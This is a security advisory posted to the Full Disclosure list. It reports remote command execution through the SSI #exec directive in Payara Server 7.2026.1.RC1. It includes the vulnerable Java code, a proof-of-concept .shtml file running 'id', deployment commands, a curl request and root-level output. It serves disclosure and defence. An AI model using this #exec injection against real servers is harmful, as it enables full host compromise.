Payara 7.2026.1.RC1 Remote Code Execution via Server-Side Includes #exec Directive in Payara Server

2026-9-4 00:13:9 Author: seclists.org(查看原文) 阅读量:4 收藏

*Description:*
Payara Server contains a vulnerability in its Server-Side Includes (SSI)
implementation that allows arbitrary operating system command execution via
the #exec directive. The issue occurs because user-controlled SSI
directives are passed directly to Runtime.exec() without validation,
sanitization, or restriction. An attacker who can cause the server to
process an SSI file (e.g., .shtml) can execute arbitrary OS commands with
the privileges of the Payara process. This vulnerability results in remote
code execution when SSI processing is enabled and accessible.

*Affected Product:*

   - Payara Server (Community & Enterprise)
   - Affects versions where:
      - Server-Side Includes (SSI) are enabled
      -  SSIExec command handling is available
      - #exec cmd is not explicitly disabled

*Impact:*

   - Successful exploitation allows an attacker to:
   - Execute arbitrary OS commands
   - Read/write files on the server
   - Install backdoors or persistence mechanisms
   - Pivot to internal networks
   - Fully compromise the host system

*Root Cause:*
*The vulnerability exists in the following class:*
org.apache.catalina.ssi.SSIExec

*Specifically, the process() method executes untrusted input directly:*
else if (paramName.equalsIgnoreCase("cmd")) {
    Runtime rt = Runtime.getRuntime();
    Process proc = rt.exec(substitutedValue);

*Proof of Concept (PoC):*
*Malicious SSI File:*
<!-- poc.shtml -->
<html>
<body>
<h2>SSI Exec Test</h2>
<pre>
<!--#exec cmd="id" -->
</pre>
</body>
</html>

*Deployment:*
jar cf ssitest.war .
$PAYARA_HOME/bin/asadmin deploy --force=true ssitest.war

*Payload:*
curl http://localhost:8080/ssitest/poc.shtml

*Output:*
<html>
<body>
<h2>SSI Exec Test</h2>
<pre>
uid=0(root) gid=0(root) groups=0(root)

</pre>
</body>
</html>

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Full Disclosure mailing list archives

Current thread: